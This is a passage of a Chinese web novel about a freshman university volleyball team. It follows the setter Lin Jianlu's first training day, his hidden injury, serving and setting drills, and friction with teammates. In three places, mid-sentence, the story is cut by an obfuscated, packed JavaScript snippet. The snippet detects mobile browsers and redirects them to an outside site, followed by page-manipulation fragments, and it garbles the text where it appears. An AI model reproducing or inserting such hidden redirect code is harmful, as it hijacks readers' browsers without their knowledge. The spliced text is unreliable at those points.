10公里,听起来很了不得,然而对竞体生来说只是家常便饭。打排球不止是“会跳就行”,只是这项运动以跳跃为主,很容易给人留下刻板印象,认为它只和摸高、起跳有关。 “大家别掉队,调整呼吸!”纪高偶尔也跟着跑,盯一盯有没有偷懒的臭小子,“记住一句话,会跑才能跳!在场上如果跑都跑不到位,那你们连起跳的机会都很渺茫!知不知道?” “知道!”9个人异口同声。 只有林见鹿沉默。他觉得这种晨练方式很蠢。如果身体机能和成绩光靠喊就能获得,他一定喊最大声。 跑着跑着,厉桀身后的全队第二高和第三高都上来了,和他并排。201的叫皮俊,200的叫任良,三个主攻跑一排,颇有摧枯拉朽的破城之势。皮俊是个单眼皮,任良是双眼皮,两个人长相不是一个画风,但一张口…… “俺不中勒!”皮俊脑袋上是个圆寸,头上剃了两道杠。 “真中,真中,继续跑!”任良也是个圆寸,但头上是三道杠。 “你俩能不能别‘中’了。”厉桀跑他俩中间,无形中带着一股沉重的压迫感。这俩兄弟是一起长大的老乡,从幼儿园就一起玩,现在的爱好是在圆寸上比拼花活。 “好了,不开玩笑……诶诶诶,绕开前头那个井盖,那可是通宝。”皮俊拽着厉桀走了两步,“你脸上这个纹身挺帅,怎么弄的?” 厉桀没好气地白了一眼。 “你不是说去419宿舍收拾他吗?”任良看着厉桀没事的另外半张脸。按照他俩对厉桀的了解,厉桀一定会还手,他不是能忍气吞声的脾气。林见鹿今天早上还能参加晨练,那只能是厉桀手下留情了。 厉桀还是没吭声,他肯定想揍,只是昨天他已经给了林见鹿一巴掌,这就算礼尚往来吧。厉桀认为自己很公平,而林见鹿肯定也察觉到了自己的公平,他内心一定很温暖。 只不过林见鹿是一个迷惑性很强的人,要特别注意。 可不能让他把全队都迷惑了。 林见鹿早把刚刚那一巴掌抛到脑后,被人惹毛了直接动手,在他眼里那是再正常不过的事。他前面的是一个叫陈阳羽的男生,有着全队最矮的身高,185。 这是队里的自由人,确确实实可以矮一些。自由人在后场区域,负责和副攻调换,这个职位的存在是排球队的最后防线,也被很多人亲切称呼为“全队的活爹”。 如果一支队伍有一个很强势的自由人,这个自由人就是不死鸟,给队伍无限上复活甲。自由人不下场,球不死,比分就还有翻盘的机会。 林见鹿记得陈阳羽打得不错,以前他们队碰上过陈阳羽。陈阳羽的防守能力直接逼怒了当时他们队的主攻。 打不死,真是打不死。这种状况最磨人,第5局时队员的手臂都抬不起来。 一不小心,有个人撞了林见鹿一下。还没偏过头他就看到了马尾,是云子安过来了。 “跑这么慢,腿是真不行了吧?”云子安的故意很明显。 林见鹿两条腿都套着护膝,也是格格不入。“你头发留这么长,不怕打架的时候让人扯头花吗?” 声音冷冷的,还是林见鹿一贯的风格。但嘴硬归嘴硬,林见鹿脚下刚好踩中了一颗小石头……昨天和厉桀打架被撕扯开的伤口很疼。 身体稍稍有些偏移,林见鹿撞在了云子安的肩膀上。 厉桀回头确定队友都跟上,刚好就看到这一幕。 “子安!”他高声喊,“往前!” 云子安是动作快于意识,有人在身边歪倒他就会扶,但松手的时候还不忘丢下一句:“冰言才懒得动你的东西。” 说完云子安跑向前方,厉桀回过头,继续带队,这个林见鹿可真行,居然开始明目张胆对云子安下手。怎么,自己善于沟通、执行力强和公正公开等优良品质还没有温暖他? 因为刚刚开学,所以训练量不是很大,长跑结束是温和的缓冲休息,然后大家就可以去吃饭。首体大也逐渐从休眠状态开始唤醒,各院系的人奔向学校6个食堂。 林见鹿先回了一趟宿舍,冲掉一身汗。洗完澡后,厉桀和项冰言已经走了,林见鹿裹着浴巾爬上床,从枕头下面拽出了一个小小的塑料袋。 那是他的小小医药包。 从小报喜不报忧,爸妈到现在都不知道他的伤一直没愈合。林见鹿分开双腿,将右大腿根部完全晾在空气里,等着风干。他的医药包里还有一面小镜子,是他高中时期的教练送的礼物。 小镜子支在床上,刚好对准他的下面。 一道非常窄长的伤口随着他的动作慢慢打开,伤口很深,大概有一个指肚的深度,创口偶尔出血,大多数时候都保持在一个湿润的状态,是撕裂伤,长10厘米左右。 难以启齿的位置,尽管林见鹿已经处理它无数次,可仍旧不愿意直视。他不是没想过去看医生,实际上已经看过多次。但就这么奇怪,它的存在就像左膝盖的机能性恢复延迟,纠缠着他的体魄。 它不肯愈合,要永远留在林见鹿被人撕开腿的那天。 医生说过,这种状况确实多有发生,有些开放性创口会持续暴露在空气里,要让它慢慢长新肉。林见鹿不确定它什么时候能长好,只是机械性重复着擦拭它。 掰开的碘伏棉签触碰它时,林见鹿打了个哆嗦。他习惯处理,不代表习惯疼痛。那疼痛垂直深入他的肌理,要扎到他看不到的地方去,疼得他浑身立毛肌起立。 缓了几分钟,林见鹿用干燥干净的纱布按压住,用胶布贴好。再给左膝盖涂了一层药油,把冰冷的皮肤搓热。不知道是不是他的心理作用,膝盖骨总是发凉,阴天下雨时会酸。 右腿的肌肉拉伤倒是好了不少,算是一个很幸福的开始。 林见鹿穿好衣服,慢慢下床,重新拎上运动包出发。他选择去东食堂吃饭,这里基本上就是体院的大本营食堂,能满足各项运动员的健康指标。还有特殊的运动员赛前窗口。 真不错。林见鹿又多了一个爱上学校的理由,他爱宿舍的电梯、浴室,爱东食堂,唯独不爱队友。 等吃完饭,林见鹿又抽空去看了一眼昨天没看清楚的名人墙。首体大的运动名人很多,层出不穷、前赴后继,从建校开始一直到如今,一堵墙可能都记不下来。 现在这堵墙只是刚刚开始压砖,算个毛坯。 林见鹿看得心潮澎湃,不知道以后等自己毕业有没有机会留一下。 他走到中间,只有一小群简单粗糙的碑状雕塑,能看出跳高、跳远的字眼,很模糊,像是招标一样。 林见鹿一个人在这里转悠了很久,就如同他去逛自己最喜欢的美术馆。小时候他学美术,很喜欢画画,如果不是又爱上了排球,心思细腻又敏感的他一定会当个画家。 看得差不多了,林见鹿走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171834|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向排球馆,当他走进去第一步,正在训练的大一男排全部停了下来。 厉桀觉得林见鹿的表情可以用4个字形容,视死如归。 至于么?不是你诱惑我兄弟的时候了?厉桀在他的腿上扫视几遍,回过头说:“继续练!冰言,你得赶紧适应咱们的一传体系!” 大家继续训练,有人在扣球,有人在发球,项冰言站在网前,而自由人陈阳羽在后区。网的对面就是“大炮”。 不是真正的大炮,而是将球发射出来的发球机。发球机旁边站着云子安,他已经把高马尾扎成了利索的丸子头,把一个米卡萨排球丢进机器。 好烧钱。林见鹿从不知道首体还有这种实力,小1000的球用作训练球。发球机特别磨球,他们真舍得! 蓝黄相见的排球以70迈的速度冲向陈阳羽,陈阳羽双腿下蹲,手臂伸向前方,当球迎面而来时他有非常明显的后撤卸力动作,巧妙地卸掉排球一部分速度和转速。球稳定下来,在空中化成弧线飞向项冰言。 林见鹿看着那颗球,项冰言是接应,左利手,按理说应该是网下右翼刺刀,现在却在练习接自由人。纪高的训练意图非常明显,在不能确保自己正式上场之前,项冰言是二传。 砰!球在项冰言手里并没有完全立好球头。 当排球在空中停顿时,就叫立球头。球头立得好,攻手有充分的时间去调整出击。如果球头的高点刚好是攻手的扣点,击打效果增倍。 “漂亮!”云子安在网对面竖大拇指。 “你闭嘴!”项冰言暴躁地揉了揉蓝眼睛。 但是等到下一个球的时候,项冰言还是没立住,而且坏得非常微妙。 “你来了。”纪高无声地走到林见鹿旁边,他不确定林见鹿能不能合群,但是他确定人一定会来。 “在你能够正式上场之前,冰言担任队内的二传,他以前也有过这方面的训练。”纪高试探性地问,“你觉得他怎么样?” 林见鹿冷静地扫视着全场,像一台安静工作的机器正在收集他需要的大数据。排球落地的声音呼应他的心跳,林见鹿说:“不怎么样。” “为什么不怎么样?”纪高又问。 “自由人太强。”林见鹿看向陈阳羽。 陈阳羽刚好下来喝水,沉默寡言的他擦了擦下巴的汗水。是队里最矮,但看上去最冷静稳重。 “一传传不到位,二传有时候反而能救起来。可一传有时候传得太好,无形中给二传增加心理压力,反而会导致二传的失误。”林见鹿用下巴尖指了下项冰言,“换个人陪他练。” 纪高就是准备来换人的,却换了话题:“你觉得他的球头怎么样?” “球头不代表一切,我不能因为他立不好球就说他传不到位。”林见鹿的眼睛开始发光,“球立得太高,等于丧失了传球的速度,那主攻手就完全暴露了,对面一定是二人或三人拦网。立得越好,越容易促成拦网。” 砰!项冰言又接了一个球。 “这个不错。”林见鹿说,“二传手缓进快出,球爆发性弹出。轨迹要诡异,考验的是大拇指发力的比例。速度和准度才是灵魂,要是追求‘立好球’,主攻手早就被拦得头皮发麻了。给项冰言换个人吧,他太紧张。” 林见鹿收集场上的点滴,纪高也在收集他的点滴。两年多空窗期,林见鹿对场上队员的感知还是如此敏锐。 “那你说我换谁?”纪高压抑着欣喜。 “就……厉桀吧,现在主攻手在后区接一传,他一传不怎么样。”林见鹿又用下巴指了下厉桀。 厉桀刚好又一转头,瞧见了林见鹿的小动作,以及他眼中不可一世的骄傲和嘲讽。 厉桀丢下球,怒气冲冲地走了过来。他百分百确定林见鹿在对他用手段,但手段过于明显和拙劣,应该是林见鹿过于心急,生怕自己不上钩。 出自于天生的友善和豁达,厉桀决定走过去交流,给林见鹿一个近距离接触自己和观赏自己高超球技的机会。 8. 他专门穿给我看 林见鹿很平静地看着厉桀走向他。 他就没见过厉桀这么容易暴躁的大型犬。 “你说我什么呢?”厉桀上来就问。 “你怎么知道我说你什么呢?”林见鹿当然不说。 “你当然知道我怎么知道你说什么呢!”厉桀必须让他说。 “你俩能不能都闭上嘴。”纪高又一次站在他俩中间。 “老纪他肯定骂我呢,我这人有预感!”厉桀还是爆发了! “对,骂你,怎么样?”林见鹿一想到他大清早的那番言论就恨不得再甩他一个耳光! 林见鹿自认为不算特别难以接触,就是偶尔嘴毒。他愿意深交的那类人都是温柔、细腻、感性的,像他高中教练,绝对不是厉桀这种。和厉桀有关的一切词汇都让他难以接受。 “好了,不许再吵架。现在大家都是大学生了,脾气要学会收一收。”纪高摸出一枚哨子,明明才开学没多久他已经苦大仇深。 别的教练都用普通黄铜哨,他特立独行,买了个白金的,把逼格印在骨子里。 哨子一吹,还不如黄铜的响,但足够所有人听到。一时间队员纷纷放球,朝这边聚集,厉桀看了一眼林见鹿,血液漾起奇异的滚热。 而林见鹿没有动。 他这样的站位非常耐人寻味,显然就是等着教练介绍,非常锐气。因为曾经太过光芒毕现,所以到哪里都是和教练站一排,再由教练把他介绍给其他人。 这是一种对于曾经骄傲的保留和习惯,镌刻了一段不能否认的高光。 面前9个男生,他们多多少少都记得林见鹿曾经的风光,以及后来他的“风光大葬”。 “哈哈,妙哉,妙哉。”一直没碰上的宋涵旭从兜里拿出一把折扇,扇了扇风。 哪儿来的古风小生?林见鹿瞥了一眼宋涵旭。 宋涵旭和项冰言一样都是接应,但他偏向于辅助型。身高191,矮一些,业余职业还是个著名coser,特别喜欢cos古风。林见鹿曾经见过他穿着那种……像布袋戏的衣服去球场。 看不懂。林见鹿一直都没看懂他的审美。 而站在全队最沉默自由人旁边的郑灵也是自由人,只不过陈阳羽是“羽爹”,是首发。郑灵身高186,对林见鹿也是保持沉默,没有想要欢迎他的意思。 林见鹿再把目光对准副攻组的柳山文。很多人都不知道的是,柳山文的父亲,就是林见鹿小学的排球启蒙教练,柳重,带了他6年。以前过年、过节,林见鹿来不及回家,都是柳重带他回家吃。 清秀的柳山文也感受到了林见鹿的打量,回以漠视的目光。他的耳朵明显红肿,是刚刚打了耳骨钉的缘故。 主攻组:傻逼厉桀,二道杠“中嘞中嘞”皮俊,三道杠“俺不中勒”任良。 副攻组:叛逆期的师兄柳山文,扯头发的云子安。 接应组:古风coser宋涵旭,蓝眼项冰言。 自由人:稳重大爹陈阳羽,不稳重小爹郑灵。 这都是什么队友?每个人都像开玩笑一样。而二传手……就自己一个?这种逮住一个人薅羊毛的想法并没有激怒他,反而让林见鹿十分满意。他是一个特别喜欢抢场的人,能不换下去就不想换。如果只有他一个二传,那所有人都要听他号令。 “一直没有给大家做正式介绍,不过我相信你们都是老朋友,对吧?”纪高做全队发言。 面前9个大一新生,从最高的厉桀到最矮的陈阳羽,居然没有一个人吭声。 纪高不由地想擦汗,林见鹿啊林见鹿,你瞧瞧你嚣张跋扈的时期惹了多少人? “不管你们乐不乐意,事实已经成为事实,队友就是家人,明白吗?从今天开始,咱们这支队伍要团结一心,勇往直前,磨合打拼。曾经发生的不愉快就让它过去,我希望你们从此之后只剩下愉快,明白吗!”纪高大声了些。 “明白……”底下零零散散地喊着。 除了厉桀,厉桀是一个字都没说。 纪高瞪了厉桀一眼,希望他给全队做个表率。为什么呢?因为这几个人里面,除了云子安,其余的人都是厉桀曾经的队友或者兄弟。全国排球圈又不大,来来回回一起训练就是这群。 厉桀要是带头接受林见鹿,剩下那帮兄弟都不会反对。但厉桀如果执意抗拒……纪高也是这个年龄过来的人,在18岁、19岁这个热血仗义的阶段,什么都可以不要,唯独义气不行。 喊着什么兄弟一生一起走啊羁绊啊,就抱团了,厉桀一看从小就是孩子王。 “好,既然大家都同意了,以后再有争执一概按照禁赛处理!”纪高给出明确的指示,“小鹿,做一下自我介绍。” 林见鹿上前半步说:“大家好,我是林见鹿。” 说完之后一片寂静。 纪高点了点头,等着林见鹿继续说。 然而接下来就没了。 纪高不明所以地看向林见鹿,眼神示意你继续说。 林见鹿摇了摇头,我说完了。 “咳咳……”于是纪高只能顶雷上场,操碎了心,“林见鹿在我队担任二传,希望你们每个人都能和他尽快打磨出默契。好吧?” “好。”下面又是一阵零零散散的回应。 勉强做完双方介绍,正式训练开始。大爹带小爹往左边的排球场走,林见鹿便知道马上要训练发球。 在正式排球比赛中,自由人不发球,俩人自由地溜了。 果然,陈阳羽带着比他还高的郑灵去找发球机,而他们的副教练孔南凡已经站在发球机旁边,等着给他们喂球。林见鹿耳朵很好使,他还听到郑灵非常耐心地劝陈阳羽戴一下护臂,像个耍赖的弟弟。 陈阳羽摆了摆手,裸臂上场。 剩下的人在左边场排队。林见鹿拎着包先去找休息座位,左边的横椅放了别人的包,他就去右边。而且他放包的方式也非常不一样。 场地有限,大家都会为其他的队员考虑,包都是竖着放。林见鹿是横着的,一个斜跨运动包占据三分之一横椅。他全身散发的信息都非常奇怪,像习惯被人优待。 “真把自己当小姑娘,不愿意和咱们扎堆。”厉桀和皮俊嘀咕了一句。 “你管他干嘛?”皮俊毫不关心,就算林见鹿把包放进女厕所他都不会看一眼。排球滚到了他的手里,皮俊往前一步。 林见鹿刚调整好护膝,一回头差点撞厉桀胸口:“又怎么了?” “你不会铺床,还不会放包么?你这样怎么融入集体?”厉桀问。 林见鹿不想融入,敷衍地说:“对,不会放包,以后麻烦你帮我放。” 这倒是,他果然在自己面前容易服软。厉桀没想到他这样快就看出了自己的领队意识,很满意地点了点头:“还有,既然来了队里,就不要特殊化。” 林见鹿眨了眨眼,又听不懂他了。 呵呵,想不到我意志力如此坚定吧?厉桀冷酷地扫了一眼他的小腿:“大家都穿普通袜,你这种花里胡哨的花边小袜赶紧换掉,不然队友分心你负责么?打扮给谁看呢?” 林见鹿的巴掌蠢蠢欲动。 “给你看,行了吧?”林见鹿撞开了他,像撞开火车头那么艰难。 排球场不大,特别好认,长18米、宽9米的长方形用球网对半分,男子排球网高2米43,相当于每一支队伍分到的区域是一个9乘9的正方形。 球网就是中线。靠近球网的3米处又有一条白色横线,叫3米进攻线。 3米进攻线将正方形分成了前场区和后场区,而后场区再往后,边界线叫作“端线”。 端线后面就是大家众所周知的发球区。 发球不能踩到端线,主裁判鸣哨8秒内搞定。即便现在是练习,纪高仍旧坐在主裁判的高位上,捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171835|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他宝贵的白银哨子,仿佛捏着他的半壁江山。 “大家注意时间。”纪高提醒这帮崽子。训练时很有必要给他们植入时间观念,很多人都误以为这些孩子能上国际比赛就已经万无一失,实际上,真不是。 比赛时各种因素都在影响球员和教练,甚至有些教练会把轮次表填错。在紧张时刻,队员对时间的感知会模糊,要打造他们的肌肉记忆。 哨子吹响,皮俊将手中排球拍了两下,旋转着扔向空中。 林见鹿像一头蛰伏的雄鹿,开始观察。他很喜欢发球,发球是排球技术中唯一单人撑起的动作,不需要和其他队员配合。每次哨声响起,都是发球队员自己的战斗。这不只是发球,还是这一轮的“首次进攻”。 好的发球可以直接得分,非常振奋士气。也可以破坏对方的第一次传球,从而有效地牵制对方的进攻。这一点林见鹿深有感触,一旦对方的进攻被牵制或者破坏,那么就给己方队员留出了时间,可以更好地预判对方的动作。 这就是“发球带动拦防”,把主动权全面掠夺过来! 皮俊发了一个大力跳发球,声音震耳欲聋。球稳稳落在对面的三米进攻线上,位置不错。 接下来原本应该是厉桀,他刚拿起一个排球拍了拍,准备上步,忽然一只冰冷的时候落在他肩膀上。 “让我先?”林见鹿球瘾发作。 厉桀扫了一眼他专门穿给自己看的花边小白袜,领袖意识再次上线:“滚一边去,热身都不带做的,你摔了谁负责……” 话音未落,厉桀手里空了。 林见鹿拿过他手中的排球,尽管右手还戴着手套,但指腹、掌心、掌根全方位触摸排球的一刹那,那种奇异的凹凸、绝妙的弧度,都足以让林见鹿抵达一阵颅内高.潮。 v200……林见鹿闭着眼睛都能摸出来型号。 如同抚摸着情人的面颊,林见鹿不由自主心跳加速,左脚在前,下一秒迈右脚,变成右脚在前的抛球姿势。他锐利的目光盯紧排球,整只手快速往后撩动,球即刻达成前旋。 撩球的指尖在厉桀的眼里,有一种别样的风情。 左脚再往前迈,林见鹿像逐日的夸父,追球上步。手臂开始充分后摆,换跨右脚,林见鹿不算强壮的腿开始蓄力,绷出两条缝匠肌的形状。 厉桀盯准他大腿内侧的缝匠肌。 迈出第三步左脚,林见鹿的整个身体已经变成了发球机,手臂迅疾上摆,引臂时并步,起跳去找他的那颗球。他忘记疼痛和伤势,在场上将自己完全物化,只是一台性能卓越的机器。 他是右手发球,白色手套包裹的五指自然分开,全掌包住了球,在球体的中上位置完成了击打!弯曲的膝盖有凌驾于空气的美感,后背形成反C,每一条肌肉都在缜密合作。 目光冰冷,薄唇紧抿,掀飞的T恤下摆露出劲瘦细腰,又因为起飞太高,T恤被空气卷到胸口。套着黑色长护膝的大腿根也在凌空的一刹那露出了两条雪白的腿根。 动作确实像优雅的雄鹿,手上却有着杀人的力道。 砰! 又一个大力跳发球!声音不输于刚刚的皮俊! 球带着转速飞向对面,过网后开始急速下坠,奔着皮俊刚刚的击落点再次重复击中。这是挑衅,也是能力的证明,林见鹿用一个发球表示他拥有指哪打哪的能耐。 一个攻击欲非常强的二传,完全可以撕开对方的一传。厉桀看完球,迅速看向还在半空的林见鹿。发球曾经是他的弱项,但这两年他不仅没有退步,反而偷偷摸摸把弱项补上了。 他越来越偏向于全能。 这么厉害的大力跳发球,应该有一个完美的落地。但林见鹿像一根崩断的弓弦,直接跪在了端线外。在落地的最后三分之一秒,他都没有让自己踩线,规则已经成为了他的逻辑底层代码。 砰!他跪倒的声响同样不小。 9. 攻手服从性测试 首先和场地接触的是护膝! 林见鹿只剩下这一只好护膝,他马上想,不会磕坏了吧? 疼已经是他的习惯,就没有不疼的时候,他更担心护具的损耗。普通家庭供一个体育生已经吃力,他实在没有勇气和爸妈多要生活费。 单膝跪地的姿势除了发生在求婚场合里,也发生在所有人的面前。奇怪的是,离他最近的任良并没有去扶他。 当年任良也摔过,林见鹿可是说过“赛场上摔倒就自己爬起来,难道还等着别人扶吗”这种话。 离林见鹿第二近的人就是柳山文,他也没有动。如果真要捋关系,眼前这位还真是他小师弟,嫡系的师弟。 “怎么摔了?”只有纪高和孔南凡在动,主教练和副教练同时奔向林见鹿。 来不及夸奖林见鹿的发球,纪高一伸手将人扶起来。按理说,这些孩子都练到这个年龄和程度了,发球就算不过网也不至于摔跟头。 林见鹿摆了摆手,对无人帮扶的场面早已习惯:“没事,没站稳。” “没站稳?”厉桀捡了球回来,不太信。 “不然呢?”林见鹿觉得他很烦,轻轻地甩开纪高的手,“谢谢教练,我去后面排队,不耽误大家训练。” 丢下一句冷言冷语,转身就走,这确实是林见鹿的风格。 训练继续进行,每个人都在纪高的眼皮下面发球,只是忧心忡忡的眉心一直不散,林见鹿的腿伤已经两年了,按理说再怎么养都应该养好。还有就是林见鹿的队友关系……真是难办。 一个接一个的球发过来,纪高开始“点数字”要求落点。他将对面的场地分成九宫格,一个大正方形分成9个小正方形,每个都有自己的号码。当他喊出号码,发球队员就必须将排球打到指定的小正方形里。 这一项训练格外重要,在场上发球时,队员要善于发现对手的弱点和运动轨迹。比如对面哪个球员最不能接一传,就砸他。或者直接砸端线、边线,制造“出局诱惑”。 男排和女排虽然都是排球,但因为体力和力量上的差距,细节上多有不同。 女排是“打死那个技术死角”,男排是“攮死死角里那个人”。 所谓“暴力美学”,正是如此。 等到发球训练结束,15分钟的休息时间让队员们用来喝水和吃东西。大部分人都会带香蕉,正规大赛中也是带香蕉,一整箱搬上场。有时候一场比赛打下来,香蕉可以全部吃完。 厉桀和项冰言负责给大家发香蕉。厉桀发到林见鹿那里,他连头都没抬,从包里拿出一袋可吸食的果冻——CiCi果冻爽,葡萄味。 然后一个人坐那边吸果冻。 吃三明治慢,吸个果冻也很慢,用了5分钟。 厉桀再低头,把下一根香蕉发给了宋涵旭。 宋涵旭等了半天才到自己,顶着香蕉说:“小生有礼了!晚上咱们出去吃饭吧?骑我的嘟嘟车?” “小电驴就小电驴,什么嘟嘟车,真恶心。再说了,咱们一群快两米的,骑嘟嘟车多难看!赶紧吃!别磨磨蹭蹭,就看不惯你们吃东西吭哧瘪肚。”厉桀又把香蕉扔给郑灵。郑灵剥开香蕉皮,递给了陈阳羽。 “小电驴太难听了,听着很傻之逼,还是嘟嘟车好听。”宋涵旭强烈反驳,非要维护他那台驴子的命名权。 ……傻之逼。林见鹿听了个一清二楚,这都是什么形容词,不免眉心紧蹙了一下。 休息时间很快结束,下面是各位置的针对性训练。林见鹿喝了一个果冻爽,往纪高那边走:“教练,我可不可以练练二传?” 纪高像听到了全世界最离谱的发言:“我记得你就是二传吧?什么叫‘我可不可以练练二传’?” 林见鹿很为难地抿了下嘴,高高的个子站在纪高面前,像被恶意罚站。这难以启齿的话他怎么说?林见鹿打死也不会说。 二传和发球不一样,不是一个人的战争,需要一传来配合。 林见鹿需要一个人,来陪他打。 但是林见鹿已经很久没有找到陪练员了,这两年他都是自己一个人练习,偶尔去外面打野球。二传的英文是“setter”,有制订、安排的意思,打的就是“第二次传球”,第一次传球的人把排球给他,他再洞悉场上的微妙变化来组织第三次击球进攻。 排球只有三次碰球的机会,二传是承上启下的串联,所以每支队伍里的二传不止是心脏,也是大脑。 林见鹿已经做好准备,如果没有人愿意陪他练习,他就去大二或者大三那边。 “陈阳羽,过来!”纪高朝着旁边的场子喊,先不管林见鹿那古怪的脾气,当务之急是让他练上,也好摸摸底! “我来。”沉默的大爹出现了,陈阳羽带着球过来。他明明是队里年龄最大的那个,长得却不显大,下垂眼,脸上还有小雀斑。 “和二传配合一下。”纪高说,“郑灵,你去对面发球!” 陈阳羽和郑灵一个留在这边,一个去了那边,显然纪高也想让郑灵观摩。而林见鹿走向网下,他的血液再次沸腾起来,走向了他命运的归属,网前3号位。 排球比赛每场上6名队员,每个人都有一个位置。 4、3、2,这是前半场。 —三米进攻线— 5、6、1,这是后半场。 然后根据发球权的转换进行顺时针轮转。因为二传手在场上的重要性,二传在哪个位置,这一轮就叫“第几轮”。比方说二传手在1号位,这个轮次就叫第1轮,也叫作“反轮”。 站在1号位的球员还兼任发球。但是一旦副攻手从1号位转到6号位,就会退场,换自由人上场。所以自由人不发球、不扣球,真正的初始站位只有5和6,一旦自由人该转到4号位,就换成副攻手,自由人不上前半场。 现在陈阳羽站的就是经典款5号位,林见鹿在3号。 在真正练习之前,厉桀发现所有人都放下了手里的任务,有些人是偷偷往他们大一这边凑,有些学长则是明目张胆地往这边走。眼睛紧盯的目标只有一个,就是林见鹿。 沉寂多年的传奇二传手,差一步登天的少年,他还能打得起来吗? 众人的目光从星星点点的火苗变成了整场的滔天烈焰,哪怕离得不近,仍旧可以感受到竞体带来的狂热。这是林见鹿恢复训练的第1天,大家已经急不可耐,有些人是希望他能带来获胜的希望,有些人纯粹怕他占了位置。 这么多人,只是为了看一个两年没上过首发的伤员。 击球声响过,排球打着旋儿飞向了陈阳羽。陈阳羽髋部下沉,重心下移,把自己的身体放到球的下面,稳稳地接了个好球。球飞向林见鹿,画着漂亮的弧线。 如果说这世界上有什么事情能让一个二传手心动,那就是永远到位的一传。 两只手轻轻一托,一个漂亮的喷泉小弧线,飞向面前的4号位。 标准的“近体快”,适合出其不意、破坏对方拦网机制的攻手。 郑灵再次发球,球又被陈阳羽传给林见鹿,林见鹿跃起之后,球在他精准的掌控下出现了高于方才的反向U弧,是一个“半高球”。这样的球就已经开始给攻手创造大力扣杀的机会了。 再一个球,发到了2号位,林见鹿控制着球的弧度,往下压,球经历了短距离飞跃,平着飞向了3号位,是一个“短平快”,专门打给副攻手。下一个球,林见鹿开始调整球的飞跃距离,从2号位直接发到了4号位,一个长距离的“平拉开”,大跨度。 很适合调虎离山,给4号位的攻手制造无人拦截的空网条件。 林见鹿寻找着手指的感觉,但也在注意尾指的弯曲。 下一个球算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171836|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是主攻手特供球。因为主攻手的进攻方位一般都在4号位,也就是网前最左边,所以林见鹿发了个4号位高球。当球头稳稳立在空中时,厉桀感觉到自己的喉结在下意识滑动。 像是服从性试验,攻手对二传的指挥有天然反应。林见鹿像遛狗一样遛他呢。 当看到一个特别漂亮的球头时,他们这些人就想起飞,然后大力扣杀,钉对方的地板! 正面的球都试了一遍,林见鹿又开始试背面传球。背面传球,就是二传手用迷惑性的动作使对方相信这颗球是飞4号位的,可实际上,给了2号位的接应。 如果项冰言在场上,他就是2号位的右翼刺刀,用左利手接住林见鹿的背球。 背面的“平拉开”、“背快”、“背飞”以及2号位高球,林见鹿仿佛进入了他的武器库,要把每一样都拿出来练练。特别是他的步伐,两条腿上的操作也特别细腻。 “背快”这种快球是背后快攻中弧度最低,当他发“背飞球”时,双腿会在位置上踏跳,速度上就出现了差异。还有一种是“背溜球”,区别于“背飞”,起跳后飞出去的是“背飞”,脚步溜出去的叫“背溜”。 五花八门,一个二传的手艺活儿都在他掌控之内。 厉桀的喉结再次狠狠一滑,忽然,他发现左右两侧的皮俊和任良也是同样的动作。等厉桀环视四周,除了不在场的大四男排,大二和大三的主攻、副攻、接应,都用一种茹毛饮血的狂热表情盯准了那头鹿。 大家都闻到了美味的气味,想把二传据为己有。 如果说这世界上有什么事情能让一个攻手疯狂心动,那就是二传永远到位! 攻手诱捕器,最强吸攻体质,梦中情传……所有的回忆全回来了,厉桀顿时想起当年林见鹿多么炙手可热。主攻渴望他赏赐一个球头很好的高位来打调整球,副攻渴望他赏赐一个背快,杀对方一个空网出其不意。接应渴望他给一个背飞,哪怕从后场直接进攻。 大家仰着头,盯的是林见鹿的手,心甘情愿为他给自己量身定做的进攻路线使出全力,直到最后一滴汗水流干。 每个人都想要他,让他成为只给自己传球的那个二传,把他牢牢控制在自己身边。 “咳咳,差不多得了,别这么没出息!”厉桀一个醒神,立即在任良和皮俊面前打响指,“又不是没见过二传……” “俺不中勒,俺以前打的都是什么比赛啊……”皮俊想起他从前的二传,球永远低,永远闷自己脸上。他讨厌林见鹿但不妨碍他想吃二传细糠。 任良则客观评价:“就刚才那个3号位高球,咱仨谁能拒绝?给我一个井盖我都不换!” “滚,别总盯着人家训练,自己该干嘛干嘛去。”厉桀愣是将皮俊和任良翻了个面,踹着他俩去练扣球。可是等厉桀回过头,林见鹿的场外已经围了一圈攻手。 每个人都想冲上去,生吃了他似的,要把他抱回自己的场地,私自占有。 至于么?不就是一个林见鹿么?厉桀不屑,自己就不会受他的影响。而且林见鹿连香蕉都不吃,就知道嘬CiCi果冻爽葡萄味。 他嘬果冻还专门对着自己。 